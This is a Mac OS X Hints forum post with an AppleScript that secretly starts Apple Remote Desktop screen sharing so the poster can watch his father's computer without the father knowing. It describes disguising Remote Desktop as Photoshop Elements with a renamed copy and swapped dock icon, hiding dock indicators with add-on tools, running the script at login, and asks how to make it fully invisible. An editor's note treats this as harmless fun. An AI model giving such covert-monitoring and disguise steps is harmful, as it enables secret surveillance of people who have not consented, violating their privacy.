Share remote screens at startup with Remote Desktop

Sep 24, '03 10:09:00AM

Contributed by: Anonymous

I always wanted to watch my dad's computer screen through my own computer, but I wanted to do it so that he wouldn't know I'm watching him. So I made a script. Note: You'll need to have Apple Remote Desktop 1.2 Admin and Client, and Apple's GUI Scripting extensions.

Also, I made a copy of Remote Desktop, renamed it Photoshop Elements 2 and put the Photoshop Elements icon on Remote Desktop, and replaced the original Elements icon that was already on his dock with my version.

[robg adds: Read the rest of the hint for the script, and this hint is presented in the interest of fun, not hacking -- clearly, to make this work, you already have to have direct access to the other machine to set everything up, so this isn't much of a security threat.]


tell application "Photoshop Elements 2"
  activate
  tell application "System Events"
    tell process "Remote Desktop"
      tell menu bar 1
        click menu "Setup"
          tell menu "Setup"
            click menu item 1
            delay 2
            tell window "Computers"
              key down return
              key up return
              delay 2
            end tell
          end tell
          click menu item "Select All" of menu 4
          click menu "Interact"
          tell menu "Interact"
          click menu item 1
        end tell
      end tell
    end tell
  end tell
end tell
delay 2
tell application "Photoshop Elements 2"
  tell application "System Events"
    tell process "Remote Desktop"
      tell window "Share Screen"
        key down return
        key up return
      end tell
    end tell
  end tell
end tell
tell application "System Events"
  tell process "Remote Desktop"
    tell menu bar 1
      click menu item "Hide Remote Desktop" of menu 2
    end tell
  end tell
end tell
Detail is everything: I also downloaded Application Enhancer and ClearDock so that the little black arrows on the dock wouldn't show telling my dad that RD was open. As a finishing touch, I saved the script as a program and added it to the Login Items preference pane.

P.S.: I'd REALLY love for this whole process to run invisibly. Does anyone know how?

Comments (13)


Mac OS X Hints
http://hints.macworld.com/article.php?story=20030921213831817